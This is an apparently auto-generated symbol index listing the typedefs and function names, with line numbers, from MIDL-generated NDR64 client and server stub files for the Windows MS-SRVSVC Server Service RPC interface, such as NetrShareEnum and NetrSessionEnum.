type __midl_frag796_t (line 8869) | typedef
type __midl_frag795_t (line 8874) | typedef
type __midl_frag794_t (line 8883) | typedef
type __midl_frag793_t (line 8896) | typedef
type __midl_frag783_t (line 8912) | typedef
type __midl_frag778_t (line 8928) | typedef
type __midl_frag775_t (line 8933) | typedef
type __midl_frag766_t (line 8947) | typedef
type __midl_frag764_t (line 8963) | typedef
type __midl_frag763_t (line 8971) | typedef
type __midl_frag762_t (line 8980) | typedef
type __midl_frag761_t (line 8989) | typedef
type NDR64_FORMAT_CHAR (line 9004) | typedef
type __midl_frag757_t (line 9009) | typedef
type __midl_frag756_t (line 9018) | typedef
type __midl_frag755_t (line 9037) | typedef
type __midl_frag747_t (line 9054) | typedef
type __midl_frag742_t (line 9070) | typedef
type __midl_frag741_t (line 9080) | typedef
type __midl_frag740_t (line 9089) | typedef
type __midl_frag739_t (line 9094) | typedef
type __midl_frag732_t (line 9099) | typedef
type __midl_frag728_t (line 9116) | typedef
type __midl_frag725_t (line 9124) | typedef
type __midl_frag724_t (line 9133) | typedef
type __midl_frag723_t (line 9148) | typedef
type __midl_frag722_t (line 9153) | typedef
type __midl_frag719_t (line 9162) | typedef
type __midl_frag718_t (line 9178) | typedef
type __midl_frag717_t (line 9183) | typedef
type __midl_frag715_t (line 9191) | typedef
type __midl_frag714_t (line 9209) | typedef
type __midl_frag710_t (line 9214) | typedef
type __midl_frag709_t (line 9235) | typedef
type __midl_frag707_t (line 9240) | typedef
type __midl_frag706_t (line 9255) | typedef
type __midl_frag705_t (line 9260) | typedef
type __midl_frag704_t (line 9271) | typedef
type __midl_frag703_t (line 9285) | typedef
type __midl_frag702_t (line 9301) | typedef
type __midl_frag699_t (line 9306) | typedef
type __midl_frag697_t (line 9320) | typedef
type __midl_frag696_t (line 9325) | typedef
type __midl_frag695_t (line 9330) | typedef
type __midl_frag692_t (line 9341) | typedef
type __midl_frag691_t (line 9351) | typedef
type __midl_frag690_t (line 9360) | typedef
type __midl_frag686_t (line 9365) | typedef
type __midl_frag683_t (line 9379) | typedef
type __midl_frag682_t (line 9389) | typedef
type __midl_frag681_t (line 9398) | typedef
type __midl_frag677_t (line 9403) | typedef
type __midl_frag676_t (line 9408) | typedef
type __midl_frag673_t (line 9413) | typedef
type __midl_frag669_t (line 9429) | typedef
type __midl_frag668_t (line 9440) | typedef
type __midl_frag664_t (line 9449) | typedef
type NDR64_FORMAT_CHAR (line 9454) | typedef
type __midl_frag655_t (line 9459) | typedef
type __midl_frag654_t (line 9468) | typedef
type __midl_frag653_t (line 9477) | typedef
type __midl_frag648_t (line 9482) | typedef
type __midl_frag646_t (line 9502) | typedef
type __midl_frag645_t (line 9507) | typedef
type __midl_frag644_t (line 9512) | typedef
type __midl_frag642_t (line 9517) | typedef
type __midl_frag626_t (line 9530) | typedef
type __midl_frag616_t (line 9547) | typedef
type __midl_frag603_t (line 9560) | typedef
type __midl_frag602_t (line 9581) | typedef
type __midl_frag600_t (line 9586) | typedef
type __midl_frag599_t (line 9601) | typedef
type __midl_frag598_t (line 9606) | typedef
type __midl_frag597_t (line 9615) | typedef
type __midl_frag596_t (line 9627) | typedef
type __midl_frag595_t (line 9643) | typedef
type __midl_frag592_t (line 9648) | typedef
type __midl_frag587_t (line 9660) | typedef
type __midl_frag586_t (line 9665) | typedef
type __midl_frag585_t (line 9670) | typedef
type __midl_frag578_t (line 9681) | typedef
type __midl_frag575_t (line 9686) | typedef
type __midl_frag574_t (line 9695) | typedef
type __midl_frag573_t (line 9704) | typedef
type __midl_frag572_t (line 9709) | typedef
type __midl_frag571_t (line 9714) | typedef
type __midl_frag568_t (line 9730) | typedef
type __midl_frag567_t (line 9735) | typedef
type __midl_frag566_t (line 9740) | typedef
type __midl_frag565_t (line 9745) | typedef
type __midl_frag562_t (line 9758) | typedef
type NDR64_FORMAT_CHAR (line 9763) | typedef
type __midl_frag558_t (line 9768) | typedef
type __midl_frag548_t (line 9781) | typedef
type __midl_frag547_t (line 9790) | typedef
type __midl_frag546_t (line 9799) | typedef
type __midl_frag542_t (line 9804) | typedef
type __midl_frag532_t (line 9820) | typedef
type __midl_frag528_t (line 9825) | typedef
type __midl_frag515_t (line 9841) | typedef
type __midl_frag513_t (line 9857) | typedef
type __midl_frag509_t (line 9862) | typedef
type __midl_frag503_t (line 9875) | typedef
type __midl_frag502_t (line 9884) | typedef
type __midl_frag501_t (line 9893) | typedef
type __midl_frag496_t (line 9898) | typedef
type __midl_frag489_t (line 9914) | typedef
type __midl_frag486_t (line 9925) | typedef
type __midl_frag484_t (line 9930) | typedef
type __midl_frag483_t (line 9961) | typedef
type __midl_frag482_t (line 9966) | typedef
type __midl_frag480_t (line 9974) | typedef
type __midl_frag479_t (line 9995) | typedef
type __midl_frag478_t (line 10000) | typedef
type __midl_frag477_t (line 10009) | typedef
type __midl_frag476_t (line 10021) | typedef
type __midl_frag473_t (line 10037) | typedef
type __midl_frag471_t (line 10049) | typedef
type __midl_frag470_t (line 10054) | typedef
type __midl_frag469_t (line 10059) | typedef
type __midl_frag463_t (line 10070) | typedef
type __midl_frag458_t (line 10083) | typedef
type __midl_frag457_t (line 10092) | typedef
type __midl_frag452_t (line 10097) | typedef
type __midl_frag444_t (line 10112) | typedef
type __midl_frag438_t (line 10117) | typedef
type __midl_frag434_t (line 10133) | typedef
type __midl_frag423_t (line 10145) | typedef
type __midl_frag414_t (line 10160) | typedef
type __midl_frag413_t (line 10169) | typedef
type __midl_frag412_t (line 10178) | typedef
type __midl_frag410_t (line 10183) | typedef
type __midl_frag408_t (line 10197) | typedef
type __midl_frag407_t (line 10202) | typedef
type NDR64_FORMAT_CHAR (line 10213) | typedef
type __midl_frag405_t (line 10218) | typedef
type __midl_frag404_t (line 10223) | typedef
type NDR64_FORMAT_CHAR (line 10234) | typedef
type __midl_frag401_t (line 10239) | typedef
type __midl_frag397_t (line 10244) | typedef
type __midl_frag396_t (line 10253) | typedef
type __midl_frag394_t (line 10258) | typedef
type __midl_frag391_t (line 10272) | typedef
type __midl_frag387_t (line 10283) | typedef
type __midl_frag384_t (line 10288) | typedef
type __midl_frag383_t (line 10309) | typedef
type __midl_frag382_t (line 10314) | typedef
type __midl_frag381_t (line 10323) | typedef
type __midl_frag380_t (line 10334) | typedef
type __midl_frag379_t (line 10350) | typedef
type __midl_frag378_t (line 10355) | typedef
type __midl_frag377_t (line 10360) | typedef
type __midl_frag374_t (line 10373) | typedef
type __midl_frag366_t (line 10378) | typedef
type __midl_frag363_t (line 10383) | typedef
type __midl_frag347_t (line 10399) | typedef
type __midl_frag344_t (line 10416) | typedef
type __midl_frag337_t (line 10421) | typedef
type __midl_frag329_t (line 10435) | typedef
type __midl_frag315_t (line 10448) | typedef
type __midl_frag312_t (line 10464) | typedef
type __midl_frag302_t (line 10469) | typedef
type __midl_frag284_t (line 10485) | typedef
type __midl_frag282_t (line 10511) | typedef
type __midl_frag281_t (line 10520) | typedef
type __midl_frag278_t (line 10529) | typedef
type __midl_frag277_t (line 10538) | typedef
type __midl_frag269_t (line 10547) | typedef
type __midl_frag268_t (line 10556) | typedef
type __midl_frag266_t (line 10565) | typedef
type __midl_frag265_t (line 10574) | typedef
type __midl_frag256_t (line 10583) | typedef
type __midl_frag255_t (line 10630) | typedef
type __midl_frag254_t (line 10635) | typedef
type __midl_frag235_t (line 10656) | typedef
type __midl_frag234_t (line 10691) | typedef
type __midl_frag233_t (line 10696) | typedef
type __midl_frag218_t (line 10713) | typedef
type __midl_frag217_t (line 10741) | typedef
type __midl_frag216_t (line 10746) | typedef
type __midl_frag204_t (line 10762) | typedef
type __midl_frag203_t (line 10787) | typedef
type __midl_frag202_t (line 10792) | typedef
type __midl_frag196_t (line 10804) | typedef
type __midl_frag195_t (line 10823) | typedef
type __midl_frag190_t (line 10828) | typedef
type __midl_frag189_t (line 10844) | typedef
type __midl_frag185_t (line 10860) | typedef
type __midl_frag169_t (line 10872) | typedef
type __midl_frag167_t (line 10877) | typedef
type __midl_frag160_t (line 10892) | typedef
type __midl_frag157_t (line 10900) | typedef
type __midl_frag156_t (line 10909) | typedef
type __midl_frag153_t (line 10924) | typedef
type __midl_frag152_t (line 10932) | typedef
type __midl_frag148_t (line 10937) | typedef
type __midl_frag147_t (line 10952) | typedef
type __midl_frag146_t (line 10957) | typedef
type __midl_frag145_t (line 10965) | typedef
type __midl_frag142_t (line 10970) | typedef
type __midl_frag141_t (line 10988) | typedef
type __midl_frag138_t (line 10993) | typedef
type __midl_frag137_t (line 11011) | typedef
type __midl_frag123_t (line 11016) | typedef
type __midl_frag122_t (line 11061) | typedef
type __midl_frag121_t (line 11066) | typedef
type __midl_frag117_t (line 11076) | typedef
type __midl_frag116_t (line 11093) | typedef
type __midl_frag113_t (line 11098) | typedef
type __midl_frag112_t (line 11116) | typedef
type __midl_frag110_t (line 11121) | typedef
type __midl_frag109_t (line 11141) | typedef
type __midl_frag105_t (line 11157) | typedef
type __midl_frag97_t (line 11172) | typedef
type __midl_frag96_t (line 11181) | typedef
type __midl_frag95_t (line 11190) | typedef
type __midl_frag90_t (line 11195) | typedef
type __midl_frag78_t (line 11213) | typedef
type __midl_frag75_t (line 11229) | typedef
type __midl_frag64_t (line 11246) | typedef
type __midl_frag63_t (line 11290) | typedef
type __midl_frag62_t (line 11295) | typedef
type __midl_frag61_t (line 11303) | typedef
type __midl_frag49_t (line 11308) | typedef
type __midl_frag48_t (line 11353) | typedef
type __midl_frag47_t (line 11358) | typedef
type __midl_frag40_t (line 11371) | typedef
type __midl_frag39_t (line 11406) | typedef
type __midl_frag37_t (line 11411) | typedef
type __midl_frag36_t (line 11425) | typedef
type __midl_frag35_t (line 11441) | typedef
type __midl_frag32_t (line 11446) | typedef
type __midl_frag17_t (line 11460) | typedef
type __midl_frag2_t (line 11475) | typedef
type NDR64_FORMAT_UINT32 (line 11492) | typedef
FILE: rpc_interfaces/ms-srvsvc_c.c
type ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING (line 40) | typedef struct _ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING
type ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING (line 46) | typedef struct _ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING
type ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING (line 52) | typedef struct _ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING
function Opnum0NotUsedOnWire (line 159) | void Opnum0NotUsedOnWire(
function Opnum1NotUsedOnWire (line 172) | void Opnum1NotUsedOnWire(
function Opnum2NotUsedOnWire (line 185) | void Opnum2NotUsedOnWire(
function Opnum3NotUsedOnWire (line 198) | void Opnum3NotUsedOnWire(
function Opnum4NotUsedOnWire (line 211) | void Opnum4NotUsedOnWire(
function Opnum5NotUsedOnWire (line 224) | void Opnum5NotUsedOnWire(
function Opnum6NotUsedOnWire (line 237) | void Opnum6NotUsedOnWire(
function Opnum7NotUsedOnWire (line 250) | void Opnum7NotUsedOnWire(
function NET_API_STATUS (line 263) | NET_API_STATUS NetrConnectionEnum(
function NET_API_STATUS (line 289) | NET_API_STATUS NetrFileEnum(
function NET_API_STATUS (line 317) | NET_API_STATUS NetrFileGetInfo(
function NET_API_STATUS (line 339) | NET_API_STATUS NetrFileClose(
function NET_API_STATUS (line 357) | NET_API_STATUS NetrSessionEnum(
function NET_API_STATUS (line 385) | NET_API_STATUS NetrSessionDel(
function NET_API_STATUS (line 405) | NET_API_STATUS NetrShareAdd(
function NET_API_STATUS (line 427) | NET_API_STATUS NetrShareEnum(
function NET_API_STATUS (line 451) | NET_API_STATUS NetrShareGetInfo(
function NET_API_STATUS (line 473) | NET_API_STATUS NetrShareSetInfo(
function NET_API_STATUS (line 497) | NET_API_STATUS NetrShareDel(
function NET_API_STATUS (line 517) | NET_API_STATUS NetrShareDelSticky(
function NET_API_STATUS (line 537) | NET_API_STATUS NetrShareCheck(
function NET_API_STATUS (line 557) | NET_API_STATUS NetrServerGetInfo(
function NET_API_STATUS (line 577) | NET_API_STATUS NetrServerSetInfo(
function NET_API_STATUS (line 599) | NET_API_STATUS NetrServerDiskEnum(
function NET_API_STATUS (line 625) | NET_API_STATUS NetrServerStatisticsGet(
function NET_API_STATUS (line 649) | NET_API_STATUS NetrServerTransportAdd(
function NET_API_STATUS (line 669) | NET_API_STATUS NetrServerTransportEnum(
function NET_API_STATUS (line 693) | NET_API_STATUS NetrServerTransportDel(
function NET_API_STATUS (line 713) | NET_API_STATUS NetrRemoteTOD(
function Opnum29NotUsedOnWire (line 731) | void Opnum29NotUsedOnWire(
function NET_API_STATUS (line 744) | NET_API_STATUS NetprPathType(
function NET_API_STATUS (line 766) | NET_API_STATUS NetprPathCanonicalize(
function NetprPathCompare (line 794) | long NetprPathCompare(
function NET_API_STATUS (line 818) | NET_API_STATUS NetprNameValidate(
function NET_API_STATUS (line 840) | NET_API_STATUS NetprNameCanonicalize(
function NetprNameCompare (line 866) | long NetprNameCompare(
function NET_API_STATUS (line 890) | NET_API_STATUS NetrShareEnumSticky(
function NET_API_STATUS (line 914) | NET_API_STATUS NetrShareDelStart(
function NET_API_STATUS (line 936) | NET_API_STATUS NetrShareDelCommit(
function DWORD (line 952) | DWORD NetrpGetFileSecurity(
function DWORD (line 976) | DWORD NetrpSetFileSecurity(
function NET_API_STATUS (line 1000) | NET_API_STATUS NetrServerTransportAddEx(
function Opnum42NotUsedOnWire (line 1020) | void Opnum42NotUsedOnWire(
function NET_API_STATUS (line 1033) | NET_API_STATUS NetrDfsGetVersion(
function NET_API_STATUS (line 1051) | NET_API_STATUS NetrDfsCreateLocalPartition(
function NET_API_STATUS (line 1079) | NET_API_STATUS NetrDfsDeleteLocalPartition(
function NET_API_STATUS (line 1099) | NET_API_STATUS NetrDfsSetLocalVolumeState(
function Opnum47NotUsedOnWire (line 1121) | void Opnum47NotUsedOnWire(
function NET_API_STATUS (line 1134) | NET_API_STATUS NetrDfsCreateExitPoint(
function NET_API_STATUS (line 1160) | NET_API_STATUS NetrDfsDeleteExitPoint(
function NET_API_STATUS (line 1182) | NET_API_STATUS NetrDfsModifyPrefix(
function NET_API_STATUS (line 1202) | NET_API_STATUS NetrDfsFixLocalVolume(
function NET_API_STATUS (line 1234) | NET_API_STATUS NetrDfsManagerReportSiteInfo(
function NET_API_STATUS (line 1252) | NET_API_STATUS NetrServerTransportDelEx(
function NET_API_STATUS (line 1272) | NET_API_STATUS NetrServerAliasAdd(
function NET_API_STATUS (line 1292) | NET_API_STATUS NetrServerAliasEnum(
function NET_API_STATUS (line 1316) | NET_API_STATUS NetrServerAliasDel(
function NET_API_STATUS (line 1336) | NET_API_STATUS NetrShareDelEx(
type NDR64_FORMAT_CHAR (line 6994) | typedef
type __midl_frag927_t (line 6999) | typedef
type __midl_frag926_t (line 7004) | typedef
type __midl_frag925_t (line 7009) | typedef
type __midl_frag924_t (line 7014) | typedef
type __midl_frag922_t (line 7019) | typedef
type __midl_frag921_t (line 7024) | typedef
type __midl_frag920_t (line 7029) | typedef
type __midl_frag919_t (line 7034) | typedef
type __midl_frag917_t (line 7039) | typedef
type __midl_frag916_t (line 7048) | typedef
type __midl_frag915_t (line 7068) | typedef
type __midl_frag913_t (line 7073) | typedef
type __midl_frag912_t (line 7078) | typedef
type __midl_frag911_t (line 7083) | typedef
type __midl_frag909_t (line 7096) | typedef
type __midl_frag907_t (line 7101) | typedef
type __midl_frag906_t (line 7112) | typedef
type __midl_frag902_t (line 7117) | typedef
type __midl_frag899_t (line 7130) | typedef
type __midl_frag897_t (line 7135) | typedef
type __midl_frag895_t (line 7140) | typedef
type __midl_frag894_t (line 7148) | typedef
type __midl_frag893_t (line 7157) | typedef
type __midl_frag892_t (line 7165) | typedef
type __midl_frag891_t (line 7180) | typedef
type __midl_frag889_t (line 7185) | typedef
type __midl_frag888_t (line 7196) | typedef
type __midl_frag887_t (line 7212) | typedef
type __midl_frag884_t (line 7217) | typedef
type __midl_frag882_t (line 7232) | typedef
type __midl_frag879_t (line 7241) | typedef
type __midl_frag868_t (line 7258) | typedef
type __midl_frag867_t (line 7272) | typedef
type __midl_frag863_t (line 7277) | typedef
type __midl_frag861_t (line 7290) | typedef
type __midl_frag859_t (line 7298) | typedef
type __midl_frag857_t (line 7313) | typedef
type __midl_frag856_t (line 7321) | typedef
type __midl_frag855_t (line 7335) | typedef
type __midl_frag854_t (line 7340) | typedef
type __midl_frag851_t (line 7345) | typedef
type __midl_frag848_t (line 7357) | typedef
type __midl_frag846_t (line 7362) | typedef
type __midl_frag845_t (line 7367) | typedef
type __midl_frag836_t (line 7372) | typedef
type __midl_frag829_t (line 7391) | typedef
type __midl_frag821_t (line 7404) | typedef
type NDR64_FORMAT_CHAR (line 7418) | typedef
type __midl_frag818_t (line 7423) | typedef
type __midl_frag817_t (line 7433) | typedef
type __midl_frag816_t (line 7442) | typedef
type __midl_frag815_t (line 7447) | typedef
type __midl_frag813_t (line 7452) | typedef
type __midl_frag812_t (line 7457) | typedef
type __midl_frag811_t (line 7462) | typedef
type __midl_frag809_t (line 7467) | typedef
type __midl_frag808_t (line 7472) | typedef
type __midl_frag807_t (line 7488) | typedef
type __midl_frag799_t (line 7497) | typedef
type __midl_frag792_t (line 7511) | typedef
type __midl_frag789_t (line 7524) | typedef
type __midl_frag787_t (line 7532) | typedef
type __midl_frag785_t (line 7547) | typedef
type __midl_frag784_t (line 7556) | typedef
type __midl_frag783_t (line 7575) | typedef
type __midl_frag782_t (line 7590) | typedef
type __midl_frag777_t (line 7595) | typedef
type __midl_frag771_t (line 7603) | typedef
type __midl_frag768_t (line 7620) | typedef
type __midl_frag765_t (line 7625) | typedef
type __midl_frag762_t (line 7637) | typedef
type __midl_frag761_t (line 7646) | typedef
type __midl_frag760_t (line 7660) | typedef
type __midl_frag756_t (line 7665) | typedef
type __midl_frag754_t (line 7678) | typedef
type __midl_frag746_t (line 7683) | typedef
type __midl_frag744_t (line 7698) | typedef
type NDR64_FORMAT_CHAR (line 7706) | typedef
type __midl_frag741_t (line 7711) | typedef
type __midl_frag740_t (line 7720) | typedef
type __midl_frag739_t (line 7735) | typedef
type __midl_frag738_t (line 7740) | typedef
type NDR64_FORMAT_CHAR (line 7745) | typedef
type __midl_frag736_t (line 7750) | typedef
type __midl_frag735_t (line 7755) | typedef
type __midl_frag733_t (line 7760) | typedef
type __midl_frag730_t (line 7765) | typedef
type __midl_frag728_t (line 7780) | typedef
type __midl_frag727_t (line 7785) | typedef
type __midl_frag726_t (line 7790) | typedef
type __midl_frag724_t (line 7801) | typedef
type __midl_frag723_t (line 7806) | typedef
type __midl_frag717_t (line 7811) | typedef
type __midl_frag714_t (line 7825) | typedef
type __midl_frag710_t (line 7830) | typedef
type __midl_frag707_t (line 7835) | typedef
type __midl_frag697_t (line 7850) | typedef
type __midl_frag693_t (line 7865) | typedef
type __midl_frag691_t (line 7870) | typedef
type __midl_frag690_t (line 7880) | typedef
type __midl_frag689_t (line 7889) | typedef
type __midl_frag684_t (line 7894) | typedef
type __midl_frag676_t (line 7910) | typedef
type __midl_frag662_t (line 7924) | typedef
type NDR64_FORMAT_CHAR (line 7929) | typedef
type __midl_frag656_t (line 7934) | typedef
type __midl_frag655_t (line 7943) | typedef
type __midl_frag650_t (line 7948) | typedef
type __midl_frag646_t (line 7965) | typedef
type __midl_frag641_t (line 7970) | typedef
type __midl_frag640_t (line 7984) | typedef
type __midl_frag638_t (line 7993) | typedef
type __midl_frag637_t (line 8001) | typedef
type __midl_frag636_t (line 8006) | typedef
type __midl_frag633_t (line 8011) | typedef
type __midl_frag631_t (line 8023) | typedef
type __midl_frag627_t (line 8028) | typedef
type __midl_frag624_t (line 8041) | typedef
type __midl_frag620_t (line 8046) | typedef
type __midl_frag619_t (line 8054) | typedef
type __midl_frag618_t (line 8062) | typedef
type __midl_frag614_t (line 8073) | typedef
type __midl_frag613_t (line 8082) | typedef
type __midl_frag611_t (line 8091) | typedef
type __midl_frag610_t (line 8114) | typedef
type __midl_frag609_t (line 8123) | typedef
type __midl_frag608_t (line 8131) | typedef
type __midl_frag607_t (line 8146) | typedef
type __midl_frag606_t (line 8151) | typedef
type __midl_frag598_t (line 8159) | typedef
type __midl_frag596_t (line 8182) | typedef
type __midl_frag595_t (line 8190) | typedef
type __midl_frag594_t (line 8205) | typedef
type __midl_frag593_t (line 8210) | typedef
type __midl_frag585_t (line 8218) | typedef
type __midl_frag583_t (line 8238) | typedef
type __midl_frag582_t (line 8246) | typedef
type __midl_frag581_t (line 8261) | typedef
type __midl_frag580_t (line 8266) | typedef
type __midl_frag578_t (line 8274) | typedef
type __midl_frag577_t (line 8282) | typedef
type __midl_frag576_t (line 8297) | typedef
type __midl_frag574_t (line 8302) | typedef
type __midl_frag573_t (line 8316) | typedef
type __midl_frag572_t (line 8332) | typedef
type __midl_frag569_t (line 8337) | typedef
type __midl_frag567_t (line 8352) | typedef
type __midl_frag561_t (line 8362) | typedef
type __midl_frag554_t (line 8381) | typedef
type __midl_frag553_t (line 8389) | typedef
type __midl_frag552_t (line 8394) | typedef
type __midl_frag545_t (line 8399) | typedef
type __midl_frag538_t (line 8414) | typedef
type __midl_frag537_t (line 8422) | typedef
type __midl_frag536_t (line 8427) | typedef
type __midl_frag535_t (line 8440) | typedef
type __midl_frag532_t (line 8450) | typedef
type __midl_frag531_t (line 8458) | typedef
type __midl_frag530_t (line 8473) | typedef
type __midl_frag526_t (line 8478) | typedef
type __midl_frag523_t (line 8494) | typedef
type __midl_frag522_t (line 8499) | typedef
type __midl_frag479_t (line 8504) | typedef
type __midl_frag478_t (line 8509) | typedef
type __midl_frag477_t (line 8514) | typedef
type __midl_frag476_t (line 8519) | typedef
type __midl_frag475_t (line 8524) | typedef
type __midl_frag474_t (line 8529) | typedef
type __midl_frag473_t (line 8534) | typedef
type __midl_frag472_t (line 8539) | typedef
type __midl_frag471_t (line 8544) | typedef
type __midl_frag470_t (line 8553) | typedef
type __midl_frag469_t (line 8614) | typedef
type __midl_frag465_t (line 8619) | typedef
type __midl_frag463_t (line 8633) | typedef
type __midl_frag376_t (line 8641) | typedef
type __midl_frag373_t (line 8656) | typedef
type __midl_frag370_t (line 8671) | typedef
type __midl_frag368_t (line 8686) | typedef
type __midl_frag366_t (line 8694) | typedef
type __midl_frag362_t (line 8704) | typedef
type __midl_frag356_t (line 8734) | typedef
type __midl_frag354_t (line 8761) | typedef
type __midl_frag351_t (line 8770) | typedef
type __midl_frag349_t (line 8790) | typedef
type __midl_frag347_t (line 8798) | typedef
type __midl_frag343_t (line 8813) | typedef
type NDR64_FORMAT_CHAR (line 8818) | typedef
type __midl_frag341_t (line 8823) | typedef
type __midl_frag340_t (line 8828) | typedef
type __midl_frag339_t (line 8833) | typedef
type __midl_frag336_t (line 8846) | typedef
type __midl_frag331_t (line 8851) | typedef
type __midl_frag324_t (line 8864) | typedef
type __midl_frag313_t (line 8877) | typedef
type __midl_frag312_t (line 8882) | typedef
type __midl_frag311_t (line 8887) | typedef
type __midl_frag310_t (line 8892) | typedef
type __midl_frag308_t (line 8897) | typedef
type __midl_frag307_t (line 8902) | typedef
type __midl_frag306_t (line 8907) | typedef
type __midl_frag305_t (line 8912) | typedef
type __midl_frag303_t (line 8917) | typedef
type __midl_frag302_t (line 8926) | typedef
type __midl_frag301_t (line 8946) | typedef
type __midl_frag295_t (line 8951) | typedef
type __midl_frag281_t (line 8966) | typedef
type __midl_frag275_t (line 8971) | typedef
type __midl_frag270_t (line 8985) | typedef
type __midl_frag268_t (line 8990) | typedef
type __midl_frag267_t (line 8998) | typedef
type __midl_frag266_t (line 9007) | typedef
type __midl_frag265_t (line 9015) | typedef
type __midl_frag264_t (line 9030) | typedef
type __midl_frag263_t (line 9035) | typedef
type __midl_frag261_t (line 9043) | typedef
type __midl_frag260_t (line 9051) | typedef
type __midl_frag259_t (line 9066) | typedef
type __midl_frag258_t (line 9071) | typedef
type __midl_frag256_t (line 9079) | typedef
type __midl_frag255_t (line 9087) | typedef
type __midl_frag254_t (line 9102) | typedef
type __midl_frag253_t (line 9107) | typedef
type __midl_frag251_t (line 9115) | typedef
type __midl_frag250_t (line 9123) | typedef
type __midl_frag249_t (line 9138) | typedef
type __midl_frag248_t (line 9143) | typedef
type __midl_frag246_t (line 9151) | typedef
type __midl_frag245_t (line 9159) | typedef
type __midl_frag244_t (line 9174) | typedef
type __midl_frag243_t (line 9179) | typedef
type __midl_frag240_t (line 9187) | typedef
type __midl_frag239_t (line 9206) | typedef
type __midl_frag238_t (line 9221) | typedef
type __midl_frag236_t (line 9226) | typedef
type __midl_frag235_t (line 9242) | typedef
type __midl_frag234_t (line 9258) | typedef
type __midl_frag231_t (line 9263) | typedef
type __midl_frag227_t (line 9278) | typedef
type __midl_frag225_t (line 9291) | typedef
type __midl_frag224_t (line 9300) | typedef
type __midl_frag218_t (line 9309) | typedef
type __midl_frag216_t (line 9335) | typedef
type __midl_frag213_t (line 9344) | typedef
type __midl_frag211_t (line 9363) | typedef
type __midl_frag209_t (line 9371) | typedef
type __midl_frag205_t (line 9379) | typedef
type __midl_frag200_t (line 9394) | typedef
type __midl_frag198_t (line 9409) | typedef
type __midl_frag196_t (line 9421) | typedef
type __midl_frag195_t (line 9430) | typedef
type __midl_frag190_t (line 9439) | typedef
type __midl_frag188_t (line 9464) | typedef
type __midl_frag183_t (line 9475) | typedef
type __midl_frag178_t (line 9497) | typedef
type __midl_frag172_t (line 9513) | typedef
type __midl_frag171_t (line 9533) | typedef
type __midl_frag167_t (line 9538) | typedef
type __midl_frag159_t (line 9552) | typedef
type __midl_frag152_t (line 9565) | typedef
type __midl_frag147_t (line 9573) | typedef
type __midl_frag141_t (line 9597) | typedef
type __midl_frag140_t (line 9622) | typedef
type __midl_frag139_t (line 9637) | typedef
type __midl_frag138_t (line 9642) | typedef
type __midl_frag135_t (line 9650) | typedef
type __midl_frag131_t (line 9668) | typedef
type __midl_frag130_t (line 9689) | typedef
type __midl_frag129_t (line 9704) | typedef
type __midl_frag128_t (line 9709) | typedef
type __midl_frag124_t (line 9717) | typedef
type __midl_frag119_t (line 9738) | typedef
type __midl_frag118_t (line 9761) | typedef
type __midl_frag117_t (line 9776) | typedef
type __midl_frag116_t (line 9781) | typedef
type __midl_frag113_t (line 9789) | typedef
type __midl_frag109_t (line 9807) | typedef
type __midl_frag108_t (line 9828) | typedef
type __midl_frag107_t (line 9843) | typedef
type __midl_frag106_t (line 9848) | typedef
type __midl_frag101_t (line 9856) | typedef
type __midl_frag100_t (line 9875) | typedef
type __midl_frag99_t (line 9890) | typedef
type __midl_frag97_t (line 9895) | typedef
type __midl_frag96_t (line 9910) | typedef
type __midl_frag95_t (line 9926) | typedef
type __midl_frag88_t (line 9931) | typedef
type __midl_frag83_t (line 9948) | typedef
type __midl_frag81_t (line 9960) | typedef
type __midl_frag80_t (line 9965) | typedef
type __midl_frag78_t (line 9970) | typedef
type __midl_frag77_t (line 9982) | typedef
type __midl_frag72_t (line 9987) | typedef
type __midl_frag65_t (line 10001) | typedef
type __midl_frag64_t (line 10009) | typedef
type __midl_frag61_t (line 10018) | typedef
type __midl_frag59_t (line 10036) | typedef
type __midl_frag58_t (line 10044) | typedef
type __midl_frag57_t (line 10059) | typedef
type __midl_frag56_t (line 10064) | typedef
type __midl_frag53_t (line 10072) | typedef
type __midl_frag52_t (line 10081) | typedef
type __midl_frag51_t (line 10096) | typedef
type __midl_frag49_t (line 10101) | typedef
type __midl_frag48_t (line 10113) | typedef
type __midl_frag47_t (line 10129) | typedef
type __midl_frag40_t (line 10134) | typedef
type __midl_frag33_t (line 10151) | typedef
type __midl_frag29_t (line 10159) | typedef
type __midl_frag27_t (line 10179) | typedef
type __midl_frag26_t (line 10187) | typedef
type __midl_frag25_t (line 10202) | typedef
type __midl_frag17_t (line 10207) | typedef
type __midl_frag16_t (line 10219) | typedef
type __midl_frag15_t (line 10235) | typedef
type __midl_frag10_t (line 10240) | typedef
type __midl_frag9_t (line 10256) | typedef
type NDR64_FORMAT_UINT32 (line 10265) | typedef
FILE: rpc_interfaces/ms-srvsvc_s.c
type ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING (line 39) | typedef struct _ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING
type ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING (line 45) | typedef struct _ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING
type ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING (line 51) | typedef struct _ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING
type NDR64_FORMAT_CHAR (line 5854) | typedef
type __midl_frag927_t (line 5859) | typedef
type __midl_frag926_t (line 5864) | typedef
type __midl_frag925_t (line 5869) | typedef
type __midl_frag924_t (line 5874) | typedef
type __midl_frag922_t (line 5879) | typedef
type __midl_frag921_t (line 5884) | typedef
type __midl_frag920_t (line 5889) | typedef
type __midl_frag919_t (line 5894) | typedef
type __midl_frag917_t (line 5899) | typedef
type __midl_frag916_t (line 5908) | typedef
type __midl_frag915_t (line 5928) | typedef
type __midl_frag913_t (line 5933) | typedef
type __midl_frag912_t (line 5938) | typedef
type __midl_frag911_t (line 5943) | typedef
type __midl_frag909_t (line 5956) | typedef
type __midl_frag907_t (line 5961) | typedef
type __midl_frag906_t (line 5972) | typedef
type __midl_frag902_t (line 5977) | typedef
type __midl_frag899_t (line 5990) | typedef
type __midl_frag897_t (line 5995) | typedef
type __midl_frag895_t (line 6000) | typedef
type __midl_frag894_t (line 6008) | typedef
type __midl_frag893_t (line 6017) | typedef
type __midl_frag892_t (line 6025) | typedef
type __midl_frag891_t (line 6040) | typedef
type __midl_frag889_t (line 6045) | typedef
type __midl_frag888_t (line 6056) | typedef
type __midl_frag887_t (line 6072) | typedef
